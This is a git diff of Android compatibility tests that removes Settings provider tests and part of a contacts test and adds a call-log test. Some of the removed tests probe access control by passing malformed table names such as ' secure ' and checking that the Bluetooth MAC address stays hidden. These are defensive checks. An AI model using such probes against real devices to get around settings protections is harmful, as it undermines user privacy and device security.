- cursor = provider.query(Settings.System.CONTENT_URI, SYSTEM_PROJECTION,
- Settings.System.NAME + "=\"" + name + "\"", null, null, null);
- assertNotNull(cursor);
- assertEquals(1, cursor.getCount());
- assertTrue(cursor.moveToFirst());
- assertEquals(name, cursor.getString(NAME_INDEX));
- assertEquals(updateValue, cursor.getString(VALUE_INDEX));
- cursor.close();
- cursor = null;
- } finally {
- if (cursor != null) {
- cursor.close();
- }
- }
- }
-
- @Test
- public void testSecureTable() throws Exception {
- final String[] SECURE_PROJECTION = new String[] {
- Settings.Secure._ID, Settings.Secure.NAME, Settings.Secure.VALUE
- };
-
- ContentResolver cr = getContext().getContentResolver();
- ContentProviderClient provider =
- cr.acquireContentProviderClient(Settings.Secure.CONTENT_URI);
- assertNotNull(provider);
-
- // Test that the secure table can be read from.
- Cursor cursor = null;
- try {
- cursor = provider.query(Settings.Global.CONTENT_URI, SECURE_PROJECTION,
- Settings.Global.NAME + "=\"" + Settings.Global.ADB_ENABLED + "\"",
- null, null, null);
- assertNotNull(cursor);
- } finally {
- if (cursor != null) {
- cursor.close();
- }
- }
- }
-
- private static final String[] SELECT_VALUE =
- new String[] { Settings.NameValueTable.VALUE };
- private static final String NAME_EQ_PLACEHOLDER = "name=?";
-
- private void tryBadTableAccess(String table, String goodtable, String name) {
- ContentResolver cr = getContext().getContentResolver();
-
- Uri uri = Uri.parse("content://settings/" + table);
- ContentValues cv = new ContentValues();
- cv.put("name", "name");
- cv.put("value", "xxxTESTxxx");
-
- try {
- cr.insert(uri, cv);
- fail("SettingsProvider didn't throw IllegalArgumentException for insert name "
- + name + " at URI " + uri);
- } catch (IllegalArgumentException e) {
- /* ignore */
- }
-
- try {
- cr.update(uri, cv, NAME_EQ_PLACEHOLDER, new String[]{name});
- fail("SettingsProvider didn't throw SecurityException for update name "
- + name + " at URI " + uri);
- } catch (IllegalArgumentException e) {
- /* ignore */
- }
-
- try {
- cr.query(uri, SELECT_VALUE, NAME_EQ_PLACEHOLDER,
- new String[]{name}, null);
- fail("SettingsProvider didn't throw IllegalArgumentException for query name "
- + name + " at URI " + uri);
- } catch (IllegalArgumentException e) {
- /* ignore */
- }
-
-
- try {
- cr.delete(uri, NAME_EQ_PLACEHOLDER, new String[]{name});
- fail("SettingsProvider didn't throw IllegalArgumentException for delete name "
- + name + " at URI " + uri);
- } catch (IllegalArgumentException e) {
- /* ignore */
- }
-
-
- String mimeType = cr.getType(uri);
- assertNull("SettingsProvider didn't return null MIME type for getType at URI "
- + uri, mimeType);
-
- uri = Uri.parse("content://settings/" + goodtable);
- try {
- Cursor c = cr.query(uri, SELECT_VALUE, NAME_EQ_PLACEHOLDER,
- new String[]{name}, null);
- assertNotNull(c);
- String value = c.moveToNext() ? c.getString(0) : null;
- if ("xxxTESTxxx".equals(value)) {
- fail("Successfully modified " + name + " at URI " + uri);
- }
- c.close();
- } catch (SQLiteException e) {
- // This is fine.
- }
- }
-
- @Test
- public void testAccessNonTable() {
- tryBadTableAccess("SYSTEM", "system", "install_non_market_apps");
- tryBadTableAccess("SECURE", "secure", "install_non_market_apps");
- tryBadTableAccess(" secure", "secure", "install_non_market_apps");
- tryBadTableAccess("secure ", "secure", "install_non_market_apps");
- tryBadTableAccess(" secure ", "secure", "install_non_market_apps");
- }
-
- @Test
- public void testUserDictionarySettingsExists() throws RemoteException {
- final Intent intent = new Intent(Settings.ACTION_USER_DICTIONARY_SETTINGS);
- final ResolveInfo ri = getContext().getPackageManager().resolveActivity(
- intent, PackageManager.MATCH_DEFAULT_ONLY);
- assertTrue(ri != null);
- }
-
- @Test
- public void testNoStaleValueModifiedFromSameProcess() throws Exception {
- final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
- Settings.System.VIBRATE_WHEN_RINGING);
- try {
- for (int i = 0; i < 100; i++) {
- final int expectedValue = i % 2;
- Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
- Settings.System.VIBRATE_WHEN_RINGING, expectedValue);
- final int actualValue = Settings.System.getInt(getContext().getContentResolver(),
- Settings.System.VIBRATE_WHEN_RINGING);
- assertSame("Settings write must be atomic", expectedValue, actualValue);
- }
- } finally {
- Settings.System.putInt(getContext().getContentResolver(),
- Settings.System.VIBRATE_WHEN_RINGING, initialValue);
- }
- }
-
- @Test
- public void testNoStaleValueModifiedFromOtherProcess() throws Exception {
- final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
- Settings.System.VIBRATE_WHEN_RINGING);
- try {
- for (int i = 0; i < 20; i++) {
- final int expectedValue = i % 2;
- SystemUtil.runShellCommand(getInstrumentation(), "settings put system "
- + Settings.System.VIBRATE_WHEN_RINGING + " " + expectedValue);
- final int actualValue = Settings.System.getInt(getContext().getContentResolver(),
- Settings.System.VIBRATE_WHEN_RINGING);
- assertSame("Settings write must be atomic", expectedValue, actualValue);
- }
- } finally {
- Settings.System.putInt(getContext().getContentResolver(),
- Settings.System.VIBRATE_WHEN_RINGING, initialValue);
- }
- }
-
- @Test
- public void testNoStaleValueModifiedFromMultipleProcesses() throws Exception {
- final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
- Settings.System.VIBRATE_WHEN_RINGING);
- try {
- for (int i = 0; i < 20; i++) {
- final int expectedValue = i % 2;
- final int unexpectedValue = (i + 1) % 2;
- Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
- Settings.System.VIBRATE_WHEN_RINGING, expectedValue);
- SystemUtil.runShellCommand(getInstrumentation(), "settings put system "
- + Settings.System.VIBRATE_WHEN_RINGING + " " + unexpectedValue);
- Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
- Settings.System.VIBRATE_WHEN_RINGING, expectedValue);
- final int actualValue = Settings.System.getInt(getContext().getContentResolver(),
- Settings.System.VIBRATE_WHEN_RINGING);
- assertSame("Settings write must be atomic", expectedValue, actualValue);
- }
- } finally {
- Settings.System.putInt(getContext().getContentResolver(),
- Settings.System.VIBRATE_WHEN_RINGING, initialValue);
- }
- }
-
- @Test
- public void testUriChangesUpdatingFromDifferentProcesses() throws Exception {
- final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
- Settings.System.VIBRATE_WHEN_RINGING);
-
- HandlerThread handlerThread = new HandlerThread("MyThread");
- handlerThread.start();
-
- CountDownLatch uriChangeCount = new CountDownLatch(4);
- Uri uri = Settings.System.getUriFor(Settings.System.VIBRATE_WHEN_RINGING);
- getContext().getContentResolver().registerContentObserver(uri,
- false, new ContentObserver(new Handler(handlerThread.getLooper())) {
- @Override
- public void onChange(boolean selfChange) {
- uriChangeCount.countDown();
- }
- });
-
- try {
- final int anotherValue = initialValue == 1 ? 0 : 1;
- Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
- Settings.System.VIBRATE_WHEN_RINGING, anotherValue);
- SystemUtil.runShellCommand(getInstrumentation(), "settings put system "
- + Settings.System.VIBRATE_WHEN_RINGING + " " + initialValue);
- Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
- Settings.System.VIBRATE_WHEN_RINGING, anotherValue);
- Settings.System.getInt(getContext().getContentResolver(),
- Settings.System.VIBRATE_WHEN_RINGING);
- SystemUtil.runShellCommand(getInstrumentation(), "settings put system "
- + Settings.System.VIBRATE_WHEN_RINGING + " " + initialValue);
-
- uriChangeCount.await(30000, TimeUnit.MILLISECONDS);
-
- if (uriChangeCount.getCount() > 0) {
- fail("Expected change not received for Uri: " + uri);
- }
- } finally {
- Settings.System.putInt(getContext().getContentResolver(),
- Settings.System.VIBRATE_WHEN_RINGING, initialValue);
- handlerThread.quit();
- }
- }
-
- private Instrumentation getInstrumentation() {
- return InstrumentationRegistry.getInstrumentation();
- }
-
- private Context getContext() {
- return InstrumentationRegistry.getTargetContext();
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_NameValueTableTest.java b/tests/tests/provider/src/android/provider/cts/Settings_NameValueTableTest.java
deleted file mode 100644
index c39b927..0000000
--- a/tests/tests/provider/src/android/provider/cts/Settings_NameValueTableTest.java
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-
-import android.content.ContentResolver;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.SystemClock;
-import android.provider.Settings;
-import android.provider.Settings.NameValueTable;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class Settings_NameValueTableTest {
- @BeforeClass
- public static void setUp() throws Exception {
- final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
- InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
- "appops set " + packageName + " android:write_settings allow");
-
- // Wait a beat to persist the change
- SystemClock.sleep(500);
- }
-
- @AfterClass
- public static void tearDown() throws Exception {
- final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
- InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
- "appops set " + packageName + " android:write_settings default");
- }
-
- @Test
- public void testPutString() {
- final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
-
- Uri uri = Settings.System.CONTENT_URI;
- String name = Settings.System.NEXT_ALARM_FORMATTED;
- String value = "value1";
-
- // before putString
- Cursor c = cr.query(uri, null, null, null, null);
- try {
- assertNotNull(c);
- c.close();
-
- MyNameValueTable.putString(cr, uri, name, value);
- c = cr.query(uri, null, null, null, null);
- assertNotNull(c);
- c.close();
-
- // query this row
- String selection = NameValueTable.NAME + "=\"" + name + "\"";
- c = cr.query(uri, null, selection, null, null);
- assertNotNull(c);
- assertEquals(1, c.getCount());
- c.moveToFirst();
- assertEquals(name, c.getString(c.getColumnIndexOrThrow(NameValueTable.NAME)));
- assertEquals(value, c.getString(c.getColumnIndexOrThrow(NameValueTable.VALUE)));
- c.close();
- } finally {
- // TODO should clean up more better
- c.close();
- }
- }
-
- @Test
- public void testGetUriFor() {
- Uri uri = Uri.parse("content://authority/path");
- String name = "table";
-
- Uri res = NameValueTable.getUriFor(uri, name);
- assertNotNull(res);
- assertEquals(Uri.withAppendedPath(uri, name), res);
- }
-
- private static class MyNameValueTable extends NameValueTable {
- protected static boolean putString(ContentResolver resolver, Uri uri, String name,
- String value) {
- return NameValueTable.putString(resolver, uri, name, value);
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java b/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java
deleted file mode 100644
index 6ba1126..0000000
--- a/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java
+++ /dev/null
@@ -1,208 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.database.Cursor;
-import android.net.Uri;
-import android.provider.Settings;
-import android.provider.Settings.Secure;
-import android.provider.Settings.SettingNotFoundException;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class Settings_SecureTest {
-
- private static final String NO_SUCH_SETTING = "NoSuchSetting";
-
- /**
- * Setting that will have a string value to trigger SettingNotFoundException caused by
- * NumberFormatExceptions for getInt, getFloat, and getLong.
- */
- private static final String STRING_VALUE_SETTING = Secure.ANDROID_ID;
-
- private ContentResolver cr;
-
- @Before
- public void setUp() throws Exception {
- cr = InstrumentationRegistry.getTargetContext().getContentResolver();
- assertNotNull(cr);
- assertSettingsForTests();
- }
-
- /** Check that the settings that will be used for testing have proper values. */
- private void assertSettingsForTests() {
- assertNull(Secure.getString(cr, NO_SUCH_SETTING));
-
- String value = Secure.getString(cr, STRING_VALUE_SETTING);
- assertNotNull(value);
- try {
- Integer.parseInt(value);
- fail("Shouldn't be able to parse this setting's value for later tests.");
- } catch (NumberFormatException expected) {
- }
- }
-
- @Test
- public void testGetDefaultValues() {
- assertEquals(10, Secure.getInt(cr, "int", 10));
- assertEquals(20, Secure.getLong(cr, "long", 20));
- assertEquals(30.0f, Secure.getFloat(cr, "float", 30), 0.001);
- }
-
- @Test
- public void testGetPutInt() {
- assertNull(Secure.getString(cr, NO_SUCH_SETTING));
-
- try {
- Secure.putInt(cr, NO_SUCH_SETTING, -1);
- fail("SecurityException should have been thrown!");
- } catch (SecurityException expected) {
- }
-
- try {
- Secure.getInt(cr, NO_SUCH_SETTING);
- fail("SettingNotFoundException should have been thrown!");
- } catch (SettingNotFoundException expected) {
- }
-
- try {
- Secure.getInt(cr, STRING_VALUE_SETTING);
- fail("SettingNotFoundException should have been thrown!");
- } catch (SettingNotFoundException expected) {
- }
- }
-
- @Test
- public void testGetPutFloat() throws SettingNotFoundException {
- assertNull(Secure.getString(cr, NO_SUCH_SETTING));
-
- try {
- Secure.putFloat(cr, NO_SUCH_SETTING, -1);
- fail("SecurityException should have been thrown!");
- } catch (SecurityException expected) {
- }
-
- try {
- Secure.getFloat(cr, NO_SUCH_SETTING);
- fail("SettingNotFoundException should have been thrown!");
- } catch (SettingNotFoundException expected) {
- }
-
- try {
- Secure.getFloat(cr, STRING_VALUE_SETTING);
- fail("SettingNotFoundException should have been thrown!");
- } catch (SettingNotFoundException expected) {
- }
- }
-
- @Test
- public void testGetPutLong() {
- assertNull(Secure.getString(cr, NO_SUCH_SETTING));
-
- try {
- Secure.putLong(cr, NO_SUCH_SETTING, -1);
- fail("SecurityException should have been thrown!");
- } catch (SecurityException expected) {
- }
-
- try {
- Secure.getLong(cr, NO_SUCH_SETTING);
- fail("SettingNotFoundException should have been thrown!");
- } catch (SettingNotFoundException expected) {
- }
-
- try {
- Secure.getLong(cr, STRING_VALUE_SETTING);
- fail("SettingNotFoundException should have been thrown!");
- } catch (SettingNotFoundException expected) {
- }
- }
-
- @Test
- public void testGetPutString() {
- assertNull(Secure.getString(cr, NO_SUCH_SETTING));
-
- try {
- Secure.putString(cr, NO_SUCH_SETTING, "-1");
- fail("SecurityException should have been thrown!");
- } catch (SecurityException expected) {
- }
-
- assertNotNull(Secure.getString(cr, STRING_VALUE_SETTING));
-
- assertNull(Secure.getString(cr, NO_SUCH_SETTING));
- }
-
- @Test
- public void testGetUriFor() {
- String name = "table";
-
- Uri uri = Secure.getUriFor(name);
- assertNotNull(uri);
- assertEquals(Uri.withAppendedPath(Secure.CONTENT_URI, name), uri);
- }
-
- @Test
- public void testUnknownSourcesOnByDefault() throws SettingNotFoundException {
- assertEquals("install_non_market_apps is deprecated. Should be set to 1 by default.",
- 1, Settings.Secure.getInt(cr, Settings.Global.INSTALL_NON_MARKET_APPS));
- }
-
- private static final String BLUETOOTH_MAC_ADDRESS_SETTING_NAME = "bluetooth_address";
-
- /**
- * Asserts that the secure setting containing the Android's Bluetooth MAC address is not
- * available to non-privileged apps, such as the CTS test app in the context of which this test
- * runs.
- */
- @Test
- public void testBluetoothAddressNotAvailable() {
- assertNull(Settings.Secure.getString(cr, BLUETOOTH_MAC_ADDRESS_SETTING_NAME));
-
- // Assert this setting is not accessible when listing all settings
- try (Cursor c = cr.query(Settings.Secure.CONTENT_URI, null, null, null, null)) {
- while ((c != null) && (c.moveToNext())) {
- String name = c.getString(1);
- if (BLUETOOTH_MAC_ADDRESS_SETTING_NAME.equals(name)) {
- fail("Settings.Secure contains " + name + ": " + c.getString(2));
- }
- }
- }
-
- // Assert this setting is not accessible when listing this specific setting
- Uri settingUri =
- Settings.Secure.CONTENT_URI.buildUpon().appendPath("bluetooth_address").build();
- try (Cursor c = cr.query(settingUri, null, null, null, null)) {
- while ((c != null) && (c.moveToNext())) {
- String name = c.getString(1);
- fail("Settings.Secure contains " + name + ": " + c.getString(2));
- }
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_SettingNotFoundExceptionTest.java b/tests/tests/provider/src/android/provider/cts/Settings_SettingNotFoundExceptionTest.java
deleted file mode 100644
index fd8a8b6..0000000
--- a/tests/tests/provider/src/android/provider/cts/Settings_SettingNotFoundExceptionTest.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.provider.Settings.SettingNotFoundException;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class Settings_SettingNotFoundExceptionTest {
- @Test
- public void testConstructor() {
- new SettingNotFoundException("Setting not found exception.");
- new SettingNotFoundException(null);
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java
deleted file mode 100644
index 583f337..0000000
--- a/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java
+++ /dev/null
@@ -1,147 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-
-import android.content.ContentResolver;
-import android.content.res.Configuration;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.SystemClock;
-import android.provider.Settings;
-import android.provider.Settings.SettingNotFoundException;
-import android.provider.Settings.System;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class Settings_SystemTest {
- private static final String INT_FIELD = Settings.System.SCREEN_BRIGHTNESS;
- private static final String LONG_FIELD = Settings.System.SCREEN_OFF_TIMEOUT;
- private static final String FLOAT_FIELD = Settings.System.FONT_SCALE;
- private static final String STRING_FIELD = Settings.System.NEXT_ALARM_FORMATTED;
-
- @BeforeClass
- public static void setUp() throws Exception {
- final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
- InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
- "appops set " + packageName + " android:write_settings allow");
-
- // Wait a beat to persist the change
- SystemClock.sleep(500);
- }
-
- @AfterClass
- public static void tearDown() throws Exception {
- final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
- InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
- "appops set " + packageName + " android:write_settings default");
- }
-
- @Test
- public void testSystemSettings() throws SettingNotFoundException {
- final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
-
- /**
- * first query the exist settings in System table, and then insert five
- * rows: an int, a long, a float, a String, and a ShowGTalkServiceStatus.
- * Get these six rows to check whether insert succeeded and then delete them.
- */
-
- // first query exist rows
- Cursor c = cr.query(System.CONTENT_URI, null, null, null, null);
-
- // backup fontScale
- Configuration cfg = new Configuration();
- System.getConfiguration(cr, cfg);
- float store = cfg.fontScale;
-
- try {
- assertNotNull(c);
- c.close();
-
- String stringValue = "cts";
-
- // insert 4 rows, and update 1 rows
- assertTrue(System.putInt(cr, INT_FIELD, 10));
- assertTrue(System.putLong(cr, LONG_FIELD, 20l));
- assertTrue(System.putFloat(cr, FLOAT_FIELD, 30.0f));
- assertTrue(System.putString(cr, STRING_FIELD, stringValue));
-
- c = cr.query(System.CONTENT_URI, null, null, null, null);
- assertNotNull(c);
- c.close();
-
- // get these rows to assert
- assertEquals(10, System.getInt(cr, INT_FIELD));
- assertEquals(20l, System.getLong(cr, LONG_FIELD));
- assertEquals(30.0f, System.getFloat(cr, FLOAT_FIELD), 0.001);
-
- assertEquals(stringValue, System.getString(cr, STRING_FIELD));
-
- c = cr.query(System.CONTENT_URI, null, null, null, null);
- assertNotNull(c);
-
- // update fontScale row
- cfg = new Configuration();
- cfg.fontScale = 1.2f;
- assertTrue(System.putConfiguration(cr, cfg));
-
- System.getConfiguration(cr, cfg);
- assertEquals(1.2f, cfg.fontScale, 0.001);
- } finally {
- // TODO should clean up more better
- c.close();
-
- // restore the fontScale
- try {
- // Delay helps ActivityManager in completing its previous font-change processing.
- Thread.sleep(1000);
- } catch (Exception e){}
-
- cfg.fontScale = store;
- assertTrue(System.putConfiguration(cr, cfg));
- }
- }
-
- @Test
- public void testGetDefaultValues() {
- final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
-
- assertEquals(10, System.getInt(cr, "int", 10));
- assertEquals(20, System.getLong(cr, "long", 20l));
- assertEquals(30.0f, System.getFloat(cr, "float", 30.0f), 0.001);
- }
-
- @Test
- public void testGetUriFor() {
- String name = "table";
-
- Uri uri = System.getUriFor(name);
- assertNotNull(uri);
- assertEquals(Uri.withAppendedPath(System.CONTENT_URI, name), uri);
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
new file mode 100644
index 0000000..be71f6a
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.provider.CallLog;
+import android.test.InstrumentationTestCase;
+
+public class CallLogTest extends InstrumentationTestCase {
+
+ private static final String TEST_NUMBER = "5625698388";
+ private static final long CONTENT_RESOLVER_TIMEOUT_MS = 5000;
+
+ public void testGetLastOutgoingCall() {
+ // Clear call log and ensure there are no outgoing calls
+ Context context = getInstrumentation().getContext();
+ ContentResolver resolver = context.getContentResolver();
+ resolver.delete(CallLog.Calls.CONTENT_URI, null, null);
+
+ waitUntilConditionIsTrueOrTimeout(
+ new Condition() {
+ @Override
+ public Object expected() {
+ return "";
+ }
+
+ @Override
+ public Object actual() {
+ return CallLog.Calls.getLastOutgoingCall(context);
+ }
+ },
+ CONTENT_RESOLVER_TIMEOUT_MS,
+ "getLastOutgoingCall did not return empty after CallLog was cleared"
+ );
+
+ // Add a single call and verify it returns as last outgoing call
+ ContentValues values = new ContentValues();
+ values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+ values.put(CallLog.Calls.TYPE, Integer.valueOf(CallLog.Calls.OUTGOING_TYPE));
+ values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+ values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+
+ resolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+ waitUntilConditionIsTrueOrTimeout(
+ new Condition() {
+ @Override
+ public Object expected() {
+ return TEST_NUMBER;
+ }
+
+ @Override
+ public Object actual() {
+ return CallLog.Calls.getLastOutgoingCall(context);
+ }
+ },
+ CONTENT_RESOLVER_TIMEOUT_MS,
+ "getLastOutgoingCall did not return " + TEST_NUMBER + " as expected"
+ );
+ }
+
+ private void waitUntilConditionIsTrueOrTimeout(Condition condition, long timeout,
+ String description) {
+ final long start = System.currentTimeMillis();
+ while (!condition.expected().equals(condition.actual())
+ && System.currentTimeMillis() - start < timeout) {
+ sleep(50);
+ }
+ assertEquals(description, condition.expected(), condition.actual());
+ }
+
+ protected interface Condition {
+ Object expected();
+ Object actual();
+ }
+
+ private void sleep(long ms) {
+ try {
+ Thread.sleep(ms);
+ } catch (InterruptedException e) {
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
deleted file mode 100644
index c9d1371..0000000
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
+++ /dev/null
@@ -1,343 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts.contacts;
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.net.Uri;
-import android.os.SystemClock;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.CommonDataKinds.StructuredName;
-import android.provider.ContactsContract.Contacts;
-import android.provider.ContactsContract.Directory;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
-import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.provider.cts.contacts.account.StaticAccountAuthenticator;
-import android.test.AndroidTestCase;
-
-import java.util.List;
-
-public class ContactsContract_ContactsTest extends AndroidTestCase {
-
- private StaticAccountAuthenticator mAuthenticator;
- private ContentResolver mResolver;
- private ContactsContract_TestDataBuilder mBuilder;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mResolver = getContext().getContentResolver();
- ContentProviderClient provider =
- mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
- mBuilder = new ContactsContract_TestDataBuilder(provider);
-
- mAuthenticator = new StaticAccountAuthenticator(getContext());
- }
-
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- mBuilder.cleanup();
- }
-
- public void testMarkAsContacted() throws Exception {
- TestRawContact rawContact = mBuilder.newRawContact().insert().load();
- TestContact contact = rawContact.getContact().load();
-
- assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
- assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
-
- assertEquals(0, rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
- assertEquals(0, rawContact.getLong(Contacts.TIMES_CONTACTED));
-
- // Note we no longer support contact affinity as of Q, so times_contacted and
- // last_time_contacted are always 0.
-
- for (int i = 1; i < 10; i++) {
- Contacts.markAsContacted(mResolver, contact.getId());
- contact.load();
- rawContact.load();
-
- assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
- assertEquals("#" + i, 0, contact.getLong(Contacts.TIMES_CONTACTED));
-
- assertEquals(0, rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
- assertEquals("#" + i, 0, rawContact.getLong(Contacts.TIMES_CONTACTED));
- }
- }
-
- public void testContentUri() {
- Context context = getContext();
- PackageManager packageManager = context.getPackageManager();
- Intent intent = new Intent(Intent.ACTION_VIEW, ContactsContract.Contacts.CONTENT_URI);
- List<ResolveInfo> resolveInfos = packageManager.queryIntentActivities(intent, 0);
- assertFalse("Device does not support the activity intent: " + intent,
- resolveInfos.isEmpty());
- }
-
- public void testLookupUri() throws Exception {
- TestRawContact rawContact = mBuilder.newRawContact().insert().load();
- TestContact contact = rawContact.getContact().load();
-
- Uri contactUri = contact.getUri();
- long contactId = contact.getId();
- String lookupKey = contact.getString(Contacts.LOOKUP_KEY);
-
- Uri lookupUri = Contacts.getLookupUri(contactId, lookupKey);
- assertEquals(ContentUris.withAppendedId(Uri.withAppendedPath(Contacts.CONTENT_LOOKUP_URI,
- lookupKey), contactId), lookupUri);
-
- Uri nullLookupUri = Contacts.getLookupUri(contactId, null);
- assertNull(nullLookupUri);
-
